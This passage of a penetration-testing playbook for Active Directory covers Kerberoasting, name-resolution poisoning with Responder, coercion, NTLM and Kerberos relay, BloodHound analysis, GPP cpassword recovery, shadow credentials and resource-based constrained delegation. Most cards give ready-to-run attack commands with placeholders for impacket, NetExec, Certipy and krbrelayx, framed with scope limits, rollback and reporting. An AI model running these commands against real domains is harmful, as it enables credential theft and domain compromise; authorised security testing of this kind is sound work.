Record a protected reference to the tested password and the timestamp so the attempt is not repeated inside the observation window. Keep the cleartext out of ordinary notes.

Finding logic

A weak or default password demonstrated on a domain account is reportable. Multiple affected users may indicate systemic password hygiene failure.

Next

Alternative branch

  • Reconcile the agreed attempt budget and observation/reset window before any further spray; do not assume a fixed delay guarantees safety
  • Continue independent non-password branches

Operational notes

  • Do not use username==password or seasonal/common-password testing unless explicitly authorized.
  • Kerbrute documentation warns that failed pre-authentication attempts can contribute to lockout.

Reference

AD-KRB-04 — Kerberoasting

Status: CURRENT

Entry state: S4
Result type: CREDENTIAL
Risk of execution: LOW

Goal

Find service accounts with SPNs and request service tickets suitable for offline password-strength analysis.

Prerequisites

Valid domain identity and reachable LDAP/KDC; identify service accounts and encryption types before choosing a cracking mode.

Commands

Impacket

1
impacket-GetUserSPNs '<domain>/<user>' -dc-ip '<dc_ip>' -request -outputfile evidence/kerberos/tgs.hashes

Rubeus Windows

1
Rubeus.exe kerberoast /outfile:tgs.hashes

Parameters

Parameter Meaning
-request Request service tickets for discovered SPNs.
-outputfile Save roastable TGS data.
/outfile Rubeus output file for ticket hashes.

Interpretation

A $krb5tgs$... value is credential material. Prioritize privileged/service-critical principals, old passwords and RC4-capable paths while respecting cracking scope.

If unsuccessful

No roastable SPN users were discovered through this credential/context; continue ACL, delegation, AD CS and shares.

Finding logic

A service account merely having an SPN is normal. Report weak service-account passwords, excessive privilege, avoidable RC4 exposure or demonstrated compromise path.

Next

  • AD-CRACK-01 — offline cracking
  • If cracked: validate and re-run BloodHound/privilege mapping as the service account

Reference

AD-KRB-05 — Service-ticket requests through a no-preauthentication account

Status: CURRENT

Entry state: S2 with a confirmed no-preauthentication account

Result type: CREDENTIAL

Risk of execution: LOW with a bounded candidate list

Prerequisites

A known account that does not require pre-authentication, a reachable KDC and a scoped list of candidate service-account names. This is a separate branch from ordinary authenticated Kerberoasting; it is not available from an arbitrary valid username.

Command — Impacket 0.13.1

1
impacket-GetUserSPNs -no-preauth '<asrep_user>' -usersfile 'service-users.txt' -dc-host '<dc_fqdn>' -dc-ip '<dc_ip>' -no-pass -outputfile 'evidence/kerberos/no-preauth-tgs.hashes' '<domain>/'

-no-preauth selects the account enabling this flow. -usersfile supplies service-account candidates; it does not enumerate the directory. Record returned material by account and encryption type, then use AD-CRACK-01. Failure for one candidate is not proof that the domain has no service accounts or that standard authenticated Kerberoasting is prevented.

Reference: GetUserSPNs source, 0.13.1

AD-KRB-06 — AS-REQ preauthentication material in an authorized capture

Status: CURRENT

Entry state: Scoped network capture or authorized observation point

Result type: CANDIDATE

Risk of execution: LOW for offline inspection

Procedure

  1. Open the authorized PCAP in Wireshark and filter kerberos.msg_type == 10 for AS-REQ traffic.
  2. Inspect preauthentication data. PA-ENC-TIMESTAMP material is a different artifact from a roastable AS-REP response; record the account, realm, encryption type, frame and capture point.
  3. If an offline audit is required, use a reviewed converter supporting that exact preauthentication/encryption format and compare its output against the installed cracker’s example hashes. Do not assign AS-REP mode 18200 to AS-REQ material by name similarity.
  4. Preserve conversion provenance and route any recovered password through AD-AUTH-01.

Packet visibility is a prerequisite. Switched-network placement, protected Kerberos transport or a capture outside the authentication path may yield no material. This card does not require creating an ARP/DHCP MITM and does not establish a vulnerability merely because encrypted preauthentication is observable.

Reference: Wireshark Kerberos fields

7. Name-resolution poisoning, capture and coercion

AD-NTLM-01 — Passive LLMNR/NBT-NS/mDNS observation

Status: CURRENT

Entry state: S0
Result type: INFORMATION
Risk of execution: LOW

Goal

Determine whether broadcast/multicast name-resolution fallback exists before actively poisoning it.

Prerequisites

An interface on the relevant segment and privileges to bind the listener. Analyze mode suppresses poisoning responses; do not assume every configured listener is disabled.

Commands

Responder analyze mode

1
sudo python3 Responder.py -I '<interface>' -A -v

Parameters

Parameter Meaning
-I Interface on which Responder listens.
-A / –analyze Observe requests without answering them.

Interpretation

Observed fallback name-resolution requests show that poisoning may be technically possible; record request names and source hosts.

If unsuccessful

No traffic during the observation window does not prove the protocols are disabled; usage is event dependent.

Finding logic

Passive observation alone is not a finding. Enabled LLMNR/NBT-NS combined with exploitable captured authentication supports a stronger finding.

Next

  • If active poisoning is in scope: AD-NTLM-02
  • Identify whether sources are privileged/admin workstations or servers

Alternative branch

  • Move to explicit coercion checks rather than waiting indefinitely

Adjacent MITM branches

For ARP or DHCPv6-based redirection, first document the segment, IPv6/DHCP/DNS roles and whether the observation point can see the relevant traffic. Confirm the compatible relay destination before selecting an active redirection method. These methods change network behavior and are not interchangeable with Responder analyze mode. This playbook covers the prerequisite/relay decision; implementation-specific active ARP/DHCPv6 procedures remain external specialist workflows in Appendix D.

Reference

AD-NTLM-02 — Active name-resolution poisoning and NTLM capture

Status: CURRENT

Entry state: S0–S1
Result type: CREDENTIAL
Risk of execution: MEDIUM

Goal

Demonstrate that fallback resolution can be poisoned and causes clients to authenticate to an attacker-controlled service.

Prerequisites

A scoped source segment/allow-list, capture listener and bounded runtime. Review Responder.conf and active services before starting.

Commands

Responder active

1
sudo python3 Responder.py -I '<interface>' -v

Parameters

Parameter Meaning
-I Network interface on which Responder listens.
-v Verbose output, useful for preserving request/capture context.
-A / –analyze Passive analysis mode; observe name-resolution requests without poisoning them.

Interpretation

Captured NetNTLM material is an offline cracking artifact. Relay uses the live authentication exchange; a saved response cannot simply be replayed against an unrelated server challenge. Do not call it an NT hash; it is a challenge/response artifact.

If unsuccessful

No captured authentication. Stop after the agreed observation period and use targeted coercion/relay posture checks.

Finding logic

Name-resolution poisoning exposure becomes materially reportable when authentication can be captured or relayed; identify the exact protocol and source host.

Next

  • AD-NTLM-04 — relay if compatible target exists
  • AD-CRACK-01 — offline cracking of NetNTLMv1/v2 when authorized

Alternative branch

Operational notes

  • Basic poisoning does not require WPAD or DHCP modes. -w, -P, -d and --dhcpv6 enable distinct behaviors with different impact; use them only when the specific technique is approved and verify the installed Responder.py -h/Responder.conf first.

Reference

AD-NTLM-03 — Coercion surface discovery

Status: CURRENT

Entry state: S1 or S4
Result type: PRIMITIVE
Risk of execution: MEDIUM

Goal

Identify RPC/HTTP mechanisms that can force a machine or service to authenticate to an operator-controlled listener.

Prerequisites

A target allow-list and reachable RPC services; authentication requirements differ by coercion method. Discovery is not proof of a delivered authentication.

Commands

Coercer scan

1
coercer scan -t '<target>' -u '<user>' -p '<password>' -d '<domain>'

NetExec coerce module discovery

1
nxc smb '<target>' -d '<domain>' -u '<user>' -p '<password>' -M coerce_plus

Parameters

Parameter Meaning
scan Use Coercer discovery/scan workflow; exact verbs vary by release, verify coercer --help.
-t Target host.
-u / -p / -d Authentication context.
-M coerce_plus Run NetExec coercion-check module when present in installed release.

Interpretation

A reachable coercion method is an authentication-source primitive. Pair it with a separately validated relay destination; do not fire indiscriminately at production servers.

If unsuccessful

The tested coercion methods were unavailable/blocked for this target/context. Continue other source systems and non-NTLM paths.

Finding logic

A coercion primitive alone may be informational; combined with relayable authentication and privilege impact it becomes a clear attack path.

Next

Alternative branch

Reference

8. Authentication relay decision tree

AD-KRB-RELAY-01 — Kerberos relay and WebDAV/WebClient prerequisites

Status: CURRENT

Entry state: S7
Result type: PRIMITIVE
Risk of execution: MEDIUM for discovery / HIGH for active relay

Goal

Identify whether a Kerberos-authentication source can be relayed to a matching service hostname and whether Windows WebClient/WebDAV provides a useful authentication trigger in a specific attack path. Kerberos relay is not interchangeable with NTLM relay: SPN, hostname and service matching rules are central to whether the path works.

Prerequisites

A specific Kerberos trigger, compatible SPN/hostname path and relay destination. WebClient presence alone does not establish these conditions.

Commands

Check the NetExec WebDAV module on an authenticated target

1
nxc smb '<target>' -d '<domain>' -u '<user>' -p '<password>' -M webdav

Review the installed krbrelayx mode/options

1
python3 krbrelayx.py -h

Controlled LDAP destination with automatic escalation/dumping disabled

1
python3 krbrelayx.py -t 'ldap://<target_fqdn>' --no-dump --no-da --no-acl

Parameters

Parameter Meaning
-M webdav Run the installed NetExec WebDAV/WebClient discovery module.
-t / –target krbrelayx target URL/hostname. Kerberos targets must be hostnames rather than arbitrary IP-only destinations.
–no-dump Disable automatic LDAP information dumping.
–no-da Disable automatic Domain Admin modification.
–no-acl Disable automatic ACL escalation.

Interpretation

A running/reachable WebClient or another Kerberos-authentication source is only a prerequisite. A complete primitive requires a compatible trigger, SPN/hostname conditions, a relay destination and an identity whose resulting authorization is useful.

If unsuccessful

The tested WebDAV/WebClient or Kerberos relay prerequisite was unavailable in this context. Continue NTLM relay, delegation, ACL and AD CS branches rather than trying to force a protocol downgrade.

Additional evidence

  • authentication source and protocol
  • source identity expected/observed
  • SPN/hostname used
  • relay destination and service
  • WebClient/WebDAV state when relevant
  • resulting authenticated identity and authorization

Finding logic

Do not report “WebDAV enabled” or “Kerberos relay possible” without the conditions that make the path security-relevant. Report the underlying name/SPN/control weakness and demonstrated authorization impact.

Next

  • Prove the minimum useful authorization on the relay destination.
  • Feed any new primitive into AD-BH-02 / AD-ACL-01 / AD-AUTH-01 as appropriate.

Reference

AD-NTLM-04 — Build relay source/destination compatibility matrix

Status: CURRENT

Entry state: S1–S4
Result type: PRIMITIVE
Risk of execution: LOW

Goal

Do not launch relay blindly. Determine source protocol, destination service, signing/channel-binding requirements, identity privilege and expected action.

Prerequisites

Source/destination inventory and separate observations for protocol protections and identity rights.

Build the matrix from existing evidence

  • SMB destination candidates: AD-SMB-01, using evidence/relay/smb.txt.
  • LDAP signing and LDAPS channel binding: AD-NTLM-05.
  • AD CS enrollment endpoints/templates: AD-ADCS-01 and AD-ADCS-04.
  • Source protocol, identity, trigger and destination authorization: record one row per viable combination.
Source / trigger Incoming protocol / identity Destination Required protection state Intended proof
Recorded source NTLM or Kerberos; observed principal Exact endpoint Signing, channel binding, EPA or service-specific requirements Minimal permitted action

Interpretation

You have at least one plausible (authentication source → relay destination → useful action) tuple. Record it explicitly before exploitation.

If unsuccessful

No compatible relay route was identified. Mark relay tested and continue Kerberos/ACL/delegation/AD CS paths rather than weakening the target to make relay work.

Finding logic

The matrix itself is analysis. Report the underlying missing protection and the demonstrated impact.

Next

  • Use the minimum-impact relay action that proves privilege
  • AD-NTLM-06/07/AD-ADCS-04 depending on destination

Operational notes

  • SMB signing required blocks ordinary SMB relay to that host; it says nothing about LDAP/HTTP/ICPR/MSSQL targets.
  • LDAP signing and channel binding are distinct controls; LDAPS plus channel binding affects relay viability differently from plain LDAP.

AD-NTLM-05 — LDAP signing, LDAPS channel binding and NTLM relay protection

Status: CURRENT

Entry state: S1–S4
Result type: INFORMATION
Risk of execution: LOW

Goal

Determine whether LDAP/LDAPS authentication protections prevent NTLM relay to directory services. Keep LDAP signing and LDAP channel binding conceptually separate.

Prerequisites

Reachable LDAP/LDAPS endpoints; record failed or ambiguous posture probes rather than treating every banner as a definitive policy read.

Commands

NetExec host posture

1
nxc ldap '<dc_fqdn>' -d '<domain>' -u '<user>' -p '<password>'

In current NetExec releases, the LDAP host banner performs built-in checks for LDAP signing and LDAPS channel binding. Record both values independently.

Additional channel-binding validation when the installed release provides the module

1
nxc ldap '<dc_fqdn>' -d '<domain>' -u '<user>' -p '<password>' -M ldap-checker

Inspect installed module options

1
nxc ldap -M ldap-checker --options

Parameters

Parameter Meaning
ldap Select NetExec’s LDAP protocol. Current releases expose signing/channel-binding posture in the host banner.
-M ldap-checker Run the additional LDAP checker module when present. Current NetExec documentation describes it as a channel-binding check; do not rely on it as the sole signing test.
--options Show module-specific options for the installed NetExec release.

Interpretation

A configuration that permits relay-compatible NTLM binding is a destination candidate. The final exploitability still depends on the incoming authentication type and what the relayed identity may modify.

If unsuccessful

Required signing/channel binding or NTLM restrictions can remove LDAP/LDAPS as a relay destination while leaving other relay destinations unaffected.

Additional evidence

  • DC/FQDN
  • LDAP and LDAPS reachability
  • signing assessment
  • channel-binding assessment
  • NTLM restriction observations
  • tool/version

Finding logic

Report the specific missing protection and demonstrated consequence. Do not state that “LDAP signing disabled” automatically means Domain Admin compromise.

Next

  • AD-NTLM-07 — controlled LDAP/LDAPS relay proof.
  • Map the relayed identity’s exact writable objects before making changes.

Alternative branch

  • AD-ADCS-04 — check AD CS relay destinations.
  • AD-NTLM-06 — SMB relay destinations where signing is not required.
  • Continue Kerberos and directory-object paths.

Reference

AD-NTLM-06 — SMB relay with ntlmrelayx

Status: CURRENT

Entry state: S7
Result type: ACCESS
Risk of execution: HIGH

Goal

Relay captured/coerced NTLM authentication to an SMB destination that does not require signing and prove the minimum authorized impact.

Prerequisites

Live relay-compatible NTLM authentication, a non-signing SMB destination, a scoped listener and known useful destination rights for the incoming identity.

Commands

Relay to allow-listed targets

1
impacket-ntlmrelayx -tf evidence/relay/smb.txt -smb2support -socks

Parameters

Parameter Meaning
-tf Read destination targets from a file.
-smb2support Enable SMB2 support in ntlmrelayx.
-socks Expose successful authenticated sessions through the SOCKS server rather than immediately executing a command.

Interpretation

A successful relay proves that the source identity can be authenticated to the destination. Determine effective privilege before any command execution.

If unsuccessful

Failure can result from signing, identity authorization, NTLM restrictions, EPA/channel binding, session state or target incompatibility.

Finding logic

Demonstrated NTLM relay is a strong finding. Report source mechanism, destination weakness, relayed identity and achieved privilege separately.

Next

  • If SOCKS session is low privilege: enumerate only
  • If administrative: prove one minimal-impact action and stop
  • Return new access/credential state to AD-BH-01

Alternative branch

  • Re-evaluate source/destination compatibility
  • Do not repeatedly coerce production hosts

Reference

AD-NTLM-07 — LDAP/LDAPS relay impact

Status: CURRENT

Entry state: S7
Result type: PRIMITIVE
Risk of execution: HIGH

Goal

Assess whether a relayed identity can perform a useful LDAP write such as RBCD, group modification or shadow credentials.

Prerequisites

Live compatible NTLM authentication and LDAP/LDAPS protection conditions that permit relay. Source protocol, MIC and channel binding can independently block the path.

Commands

Authentication-only baseline with automatic LDAP dumping and escalation disabled

1
impacket-ntlmrelayx -t 'ldaps://<dc_fqdn>' -smb2support --no-dump --no-da --no-acl

Parameters

Parameter Meaning
-t Single relay destination URI.
–no-dump Disable automatic directory-information dumping; this is not a universal disable switch for every optional collection feature.
–no-da Disable automatic Domain Admin group escalation.
–no-acl Disable automatic ACL escalation.

Interpretation

Successful relayed LDAP authentication proves acceptance of this source/protocol combination; it does not prove a useful write. This command does not open an interactive shell. If an interactive proof is required, select --interactive deliberately and preserve the resulting session identity and exact operation. Do not feed only a captured NetNTLM string into this flow.

If unsuccessful

Signing/channel binding/NTLM policy or identity rights prevented useful relay.

Finding logic

LDAP relay exposure is best reported with the actual writable object/action and resulting privilege path.

Next

  • AD-ACL-04 — RBCD if computer object is writable
  • AD-ACL-03 — shadow credentials if KeyCredentialLink is writable
  • AD-ACL-02 — group/ACL rights where authorized

Alternative branch

  • AD-ADCS-04 — AD CS web relay
  • Continue non-relay branches

Operational notes

  • Avoid ntlmrelayx automatic escalation switches on production unless the engagement explicitly requires them; controlled manual proof produces cleaner evidence.

Reference

9. Validate every obtained credential

AD-AUTH-01 — Credential validation and privilege tagging

Status: CURRENT

Entry state: S3 or S6
Result type: ACCESS
Risk of execution: LOW

Goal

Validate a password/hash/ticket/certificate against the minimum number of protocols and tag the identity with actual privilege instead of assuming it.

Prerequisites

Known credential type and source principal; a single approved target appropriate to that identity and protocol.

Commands

Password SMB

1
nxc smb '<target>' -d '<domain>' -u '<user>' -p '<password>'

NT hash SMB

1
nxc smb '<target>' -d '<domain>' -u '<user>' -H '<nt_hash>'

Kerberos SMB

1
KRB5CCNAME='<ticket.ccache>' nxc smb '<target_fqdn>' -k --use-kcache

WinRM

1
nxc winrm '<target>' -d '<domain>' -u '<user>' -p '<password>'

Parameters

Parameter Meaning
-H Use an NT hash rather than cleartext password.
-k Use Kerberos authentication.
–use-kcache Use Kerberos tickets from the credential cache where supported.

Interpretation

Record protocol-specific access and whether NetExec marks administrative rights. A credential valid on one protocol does not automatically imply another.

If unsuccessful

A failed protocol can be disabled or restricted even when credentials are correct. Validate against DC Kerberos/LDAP or another known service before calling the credential invalid.

Next

Alternative branch

  • Check domain format, DNS, clock skew, account restrictions and allowed logon types

10. BloodHound and graph-based attack-path analysis

AD-BH-01 — Collect BloodHound data

Status: CURRENT

Entry state: S4
Result type: INFORMATION
Risk of execution: LOW for DC-only collection; MEDIUM for broad host/session collection

Goal

Build a graph of group membership, sessions, local admin relationships, ACLs, delegation, trusts and other attack edges.

Prerequisites

Valid domain identity, working DNS/LDAP and a collector compatible with the deployed BloodHound edition. Remote host/session collection has additional connectivity and access requirements.

Install the CE ingestor package bloodhound-ce for the shown bloodhound-ce-python command. The legacy bloodhound package exposes bloodhound-python; do not silently substitute its output into a CE workflow. Use a SharpHound build supported by the deployed CE version.

Commands

SharpHound from Windows

1
SharpHound.exe -c DCOnly --outputdirectory . --zipfilename bloodhound.zip

BloodHound.py Community Edition collector

1
bloodhound-ce-python -d '<domain>' -u '<user>' -p '<password>' -ns '<dc_ip>' -c DCOnly --zip

Parameters

Parameter Meaning
-c / –collectionmethods Select collection methods. DCOnly starts with DC data; add host/session methods for the approved host set. Collector method sets are not identical.
–outputdirectory SharpHound output path.
–zipfilename Name the SharpHound ZIP.
-ns DNS server used by BloodHound.py.
–zip Package BloodHound.py results.

Interpretation

Import results and tag the current controlled principal(s) using the deployed CE interface. DCOnly omits host-derived session/local-access observations; collect those separately when required. Search shortest paths to high-value groups/hosts, but also inspect individual edge semantics and freshness.

If unsuccessful

Collector failure is usually DNS/auth/connectivity/permissions or collection-method specific. A failed collector does not mean the graph has no path.

Finding logic

A BloodHound path is not automatically a finding; each edge must be validated and translated into the underlying misconfiguration.

Next

Alternative branch

  • Collect LDAP-only data
  • Use SharpHound from a joined workstation if remote collection is restricted

Operational notes

  • BloodHound data can contain sensitive relationship and session information; protect it as engagement evidence.

Reference

10.1 BloodHound triage order

  • Mark every compromised principal and host as owned.
  • Find shortest paths from owned principals to Domain Admins, Enterprise Admins, DCs, PKI/CA servers and tier-0 management systems.
  • Inspect outbound object-control edges from owned principals: GenericAll, GenericWrite, WriteDACL, WriteOwner, AddMember, ForceChangePassword, AddKeyCredentialLink, AddAllowedToAct, GPO-control edges, LAPS/gMSA read rights.
  • Inspect delegation edges and computer-account creation possibilities.
  • Inspect local administrator paths to servers that hold privileged sessions or deployment credentials.
  • Validate every promising edge with a native/LDAP query before exploiting it; stale graph data is common.

AD-BH-02 — Validate and prioritize BloodHound attack paths

Status: CURRENT

Entry state: S4–S8
Result type: ATTACK PATH
Risk of execution: LOW

Goal

Turn graph edges into a short list of technically valid, testable paths. BloodHound is a relationship engine; it is not proof that every edge is currently exploitable.

Prerequisites

Current collection and a correctly identified controlled principal/host. Record collection timestamp and missing datasets.

Commands

Use BloodHound CE queries and the object details pane to inspect shortest paths, outbound object control and high-value targets; names such as owned/compromised and high value/tier zero vary with the CE interface. Validate important LDAP rights separately with the relevant ACL section before changing anything.

Parameters

Parameter Meaning
Owned Mark only principals/hosts actually controlled during the engagement.
High Value Treat as triage metadata; verify why the object is security-critical in this environment.
Edge A relationship with specific semantics and prerequisites; read the edge documentation before use.

Interpretation

A graph path is a hypothesis composed of concrete edges. It becomes an attack path only after the relevant edges are current, reachable and usable by the owned principal.

If unsuccessful

No path in the current collection can mean genuinely good separation, incomplete collection, stale data, missing domains or an unmarked owned principal.

Additional evidence

  • start principal
  • target principal/host/group
  • ordered edge list
  • collection timestamp
  • manual validation for each security-relevant edge
  • screenshot/export only where useful to explain the path

Finding logic

Do not report “BloodHound found a path” as the root cause. Report the misconfigured ACL, delegation, local-admin assignment, session/tier problem, certificate template or other underlying edge.

Next

  • Validate the first actionable edge in the corresponding chapter.
  • Stop traversing once sufficient business/security impact is proven.
  • Re-run graph analysis after gaining a new identity or host.

Alternative branch

  • Check collection completeness and DNS/domain coverage.
  • Continue independent AD CS, SCCM, MSSQL, shares and host-local branches.

Reference

Status: CURRENT

Entry state: S4
Result type: CREDENTIAL
Risk of execution: LOW

Goal

Locate business/deployment shares and identify exposed credentials, scripts, configs, backups and key material without indiscriminate downloading.

Prerequisites

A valid identity, selected SMB targets and a bounded share/path search scope.

Commands

Share listing

1
nxc smb '<CIDR>' -d '<domain>' -u '<user>' -p '<password>' --shares --no-write-check

Inventory paths in one selected share

1
nxc smb '<target>' -d '<domain>' -u '<user>' -p '<password>' --spider '<share>' --depth 3

Interactive client

1
smbclient '//<target>/<share>' -U '<domain>/<user>'

For whole-host metadata inventory, spider_plus is an alternative and scans all readable shares; its exclusion option in NetExec 1.5.1 is EXCLUDE_FILTER, not EXCLUDE_DIR. It does not search file contents by default. Keep the selected-share example as the normal starting point. Use --content with a bounded path/pattern only when content inspection is required.

Parameters

Parameter Meaning
–shares List shares and readable access; write access is not tested when –no-write-check is set.
–spider Select a share for the built-in spider.
–depth Bound recursion depth for the built-in spider.

Interpretation

Readable deployment/config/backup files may yield credentials or architecture information. Writable shares may enable a separate coercion or execution path only if a consuming workflow exists.

If unsuccessful

No useful accessible shares for this credential. Repeat only when privilege state changes.

Finding logic

Report excessive share access or exposed secrets, not merely the existence of common administrative shares.

Next

  • Add recovered credential/key/PFX to credential inventory
  • If write access: identify actual consumer before any payload placement
  • AD-GPP-01 for SYSVOL cpassword

AD-GPP-01 — Legacy Group Policy Preferences cpassword

Status: LEGACY

Entry state: S4
Result type: CREDENTIAL
Risk of execution: LOW

Goal

Check SYSVOL for legacy GPP XML containing reversible cpassword values.

Prerequisites

Readable SYSVOL, or a scoped offline copy whose source and timestamp are known.

Commands

Impacket

1
impacket-Get-GPPPassword '<domain>/<user>:<password>@<dc_fqdn>'

Search SYSVOL

1
grep -Rni "cpassword" '<mounted_sysvol_path>'

Interpretation

Recovered cpassword material can be decrypted because the AES key is public. Treat the recovered password as a credential and determine scope of reuse.

If unsuccessful

No legacy cpassword material in accessible SYSVOL.

Finding logic

Any recoverable GPP password is reportable and often high impact depending on the affected identity.

Next

  • Validate recovered identity
  • Re-run BloodHound as the new principal

Alternative branch

  • Continue other secret sources

Reference

12. ACL / ACE abuse decision tree

ACL abuse should be driven by the exact controlled attribute/right, not by a generic “GenericWrite = own target” assumption. First identify (controlled principal → right → target object → writable attribute/action → resulting privilege).

AD-ACL-01 — Enumerate object-control rights

Status: CURRENT

Entry state: S4
Result type: PRIMITIVE
Risk of execution: LOW

Goal

Find rights controlled by an owned principal over users, groups, computers, OUs, GPOs, domain objects and PKI objects.

Prerequisites

A resolved principal SID, target DN and readable security descriptor. Include nested group membership when reasoning about effective access.

Commands

BloodHound

Use outbound object-control edges from the owned principal and validate each edge in the object details/edge documentation before exploitation.

NetExec DACL read module

1
nxc ldap '<dc_fqdn>' -d '<domain>' -u '<user>' -p '<password>' -M daclread -o TARGET='<target>' ACTION=read

Parameters

Parameter Meaning
-M daclread Run NetExec LDAP DACL reader module.
TARGET Object to resolve/read.
ACTION=read Read rather than modify the DACL.

Interpretation

Record the exact ACE: trustee SID, target DN, object type/GUID, inherited/direct status and right. Map only to actions the right genuinely enables.

If unsuccessful

No useful control edges for the current owned principal; revisit after obtaining another identity.

Finding logic

Excessive ACL delegation becomes reportable when it crosses trust/tier boundaries or directly enables privilege escalation.

Next

Reference

AD-ACL-02 — Group membership / password-control edges

Status: CURRENT

Entry state: S7
Result type: ACCESS
Risk of execution: HIGH

Goal

Validate whether an owned principal can add members to a privileged group, change another user password, take ownership or rewrite the target DACL.

Prerequisites

Validated effective group/password/DACL right, the exact target and a reversible proof. Existing protected-object behavior must be understood.

Commands

Native group membership where explicitly authorized

1
net rpc group addmem "<group>" "<user_to_add>" -U "<domain>/<operator>%<password>" -S '<dc_fqdn>'

Interpretation

The modified group membership or controlled account demonstrates the privilege escalation path. Remove test changes immediately and record before/after state.

If unsuccessful

The ACE may be stale, inherited differently, blocked by protected-object behavior or not confer the assumed action.

Finding logic

Unauthorized control over privileged users/groups is normally high/critical depending on target. Prefer demonstrating with a reversible test account or read-only validation if possible.

Next

  • Validate resulting token/access after replication
  • Rollback membership/ACL change
  • Re-run BloodHound

Alternative branch

  • Re-read effective DACL and object protection
  • Try another valid action for the exact right

Operational notes

  • Do not reset real user passwords merely to prove ForceChangePassword if a lower-impact validation can establish the same control.

Status: CURRENT

Entry state: S7
Result type: CREDENTIAL
Risk of execution: HIGH

Goal

Use write access to msDS-KeyCredentialLink to obtain certificate-based authentication as the target account without changing its password.

Prerequisites

Effective write access to the target msDS-KeyCredentialLink and working PKINIT/key-trust prerequisites, including a suitable DC certificate. Preserve the original attribute values.

Commands

Read the existing attribute first

1
certipy shadow list -u '<user>@<domain>' -p '<password>' -account '<target>' -dc-ip '<dc_ip>'

Certipy automated flow

1
certipy shadow auto -u '<user>@<domain>' -p '<password>' -account '<target>' -dc-ip '<dc_ip>'

Parameters

Parameter Meaning
shadow auto Certipy workflow that adds a KeyCredential, authenticates, and attempts cleanup.
-account Target account whose KeyCredentialLink is controlled.
shadow list Read existing key credentials before modification.

Interpretation

Successful certificate-based authentication yields reusable credential material and proves control of the target identity. Verify cleanup and preserve before/after attribute state.

If unsuccessful

The right may not apply to the attribute, target may not support the flow, PKINIT prerequisites may be absent, or directory protections may block modification.

Finding logic

Writable KeyCredentialLink on a privileged identity is a strong privilege-escalation finding.

Next

  • Inventory only artifacts actually returned by shadow auto, normally recovered hash/ticket material. Do not assume it saved a reusable PFX.
  • Verify restoration of the original KeyCredentialLink values. Removing the temporary key invalidates that key-trust path but does not retract an already issued TGT or a recovered account secret.
  • Validate any still-usable credential through AD-AUTH-01.

Alternative branch

  • Validate exact ACE/attribute
  • Consider other rights enabled by the same ACE

Reference

AD-ACL-04 — Resource-Based Constrained Delegation through computer-object control

Status: CURRENT

Entry state: S7
Result type: ACCESS
Risk of execution: HIGH

Goal

Use write permission on a computer object to configure which principal may act on its behalf, then request an impersonated service ticket.

Prerequisites

Effective RBCD-attribute write on the target, a controlled service principal with usable keys/SPNs, and an impersonated identity permitted to delegate. Creating a computer is optional if a suitable principal already exists.

Commands

Create controlled computer only if MAQ/scope permits

1
impacket-addcomputer -method LDAPS -computer-name '<controlled>$' -computer-pass '<controlled_password>' -dc-host '<dc_fqdn>' '<domain>/<user>:<password>'

Write RBCD

1
impacket-rbcd -delegate-from '<controlled>$' -delegate-to '<target>$' -action write -dc-ip '<dc_ip>' '<domain>/<user>:<password>'

Request service ticket

1
impacket-getST -spn 'cifs/<target_fqdn>' -impersonate '<authorized_test_admin>' -dc-ip '<dc_ip>' '<domain>/<controlled>$:<controlled_password>'

Use a computer/service principal with a verified SPN; the example explicitly selects LDAP-based creation rather than relying on SAMR defaults. Creation and RBCD writes are separate changes. Preserve the entire original msDS-AllowedToActOnBehalfOfOtherIdentity security descriptor and restore it without removing pre-existing delegates.

Parameters

Parameter Meaning
-delegate-from Principal allowed to delegate.
-delegate-to Target computer whose RBCD attribute is modified.
-action write Write the delegation configuration.
-spn Service principal for the requested service ticket.
-impersonate User represented in S4U request.

Interpretation

A valid service ticket for the target under an impersonated privileged identity proves the RBCD path. Restore the original attribute and remove any test computer account created for the proof.

If unsuccessful

Check computer-account creation rights, exact object ACL, SPN, time/DNS and S4U constraints.

Finding logic

Ability for a low-privilege identity to configure RBCD on a sensitive server is usually high severity.

Next

  • Use the ticket only for the minimal target service needed to prove impact
  • Rollback RBCD and test computer
  • Re-run graph

Alternative branch

  • Try another controlled principal that already has an SPN
  • Return to ACL map

Reference

AD-ACL-05 — GenericWrite/GenericAll/WriteProperty on users and groups

Status: CURRENT

Entry state: S7
Result type: PRIMITIVE
Risk of execution: LOW for validation / HIGH for object modification

Goal

Translate broad object-control edges into the exact primitive they grant instead of treating every GenericWrite or GenericAll edge as the same attack.

Prerequisites

A validated ACL edge and resolved object/property GUIDs; distinguish attribute writes, extended rights, ownership and DACL control.

Decision matrix

Controlled target Relevant right/property Potential consequence to validate Preferred proof
User ResetPassword / extended right Set target password Validate right; reset only on approved test account
User servicePrincipalName write Targeted Kerberoast candidate Read ACL + current SPNs; temporary SPN only if approved
User/computer msDS-KeyCredentialLink Shadow Credentials AD-ACL-03
Group member write / AddMember Add controlled identity Test on approved group or document effective right
Computer msDS-AllowedToActOnBehalfOfOtherIdentity RBCD AD-ACL-04
Object WriteDACL Grant a new right Prefer ACL proof; avoid modifying production DACL
Object owner control Rewrite DACL after ownership Validate ownership and inherited protections first

Read-only validation

1
Get-Acl 'AD:<distinguished_name>' | Format-List
1
impacket-dacledit -action read -principal '<controlled_principal>' -target '<target_object>' -dc-ip '<dc_ip>' '<domain>/<user>:<password>'

Interpretation

The edge is a usable primitive only after you confirm the right applies to the intended object/property and is not blocked by inheritance, protected objects, AdminSDHolder behavior or a tool interpretation error.

If unsuccessful

Treat the graph edge as unconfirmed. Recollect ACLs, inspect inherited/object-specific GUIDs and test the exact DN before choosing another abuse path.

Additional evidence

  • source principal SID
  • target DN/SID
  • ACE type and object GUID
  • inherited vs explicit
  • effective property/right
  • safe proof performed
  • rollback, if a write was executed

Finding logic

Report the effective privilege escalation consequence, not merely “GenericWrite exists”. Severity follows the target and resulting control path.

Next

Alternative branch

  • Return to AD-ACL-01 and validate other edges

13. Group Policy Objects

Status: CURRENT

Entry state: S7
Result type: PRIMITIVE
Risk of execution: LOW

Goal

Identify whether an owned principal can modify a GPO linked to privileged computers/users or can create/link a GPO to a sensitive OU.

Prerequisites

A candidate GPO/link/OU control edge and the target scope. Inspect both the AD Group Policy Container and SYSVOL Group Policy Template permissions.

Commands

BloodHound

Inspect GPO-control and GP-Link-related paths from owned principals, then validate the effective object/GPO/link rights directly.

PowerView conceptual validation

1
Get-DomainGPO -Identity '<gpo>' | Get-DomainObjectAcl -ResolveGUIDs

Validate GPC and GPT permissions, link placement, security and WMI filtering, inheritance and the actual receiving computer/user context. A writable AD object, writable SYSVOL path and ability to link a new GPO are different capabilities. A displayed ACL is evidence to interpret, not an effective-access computation.

Interpretation

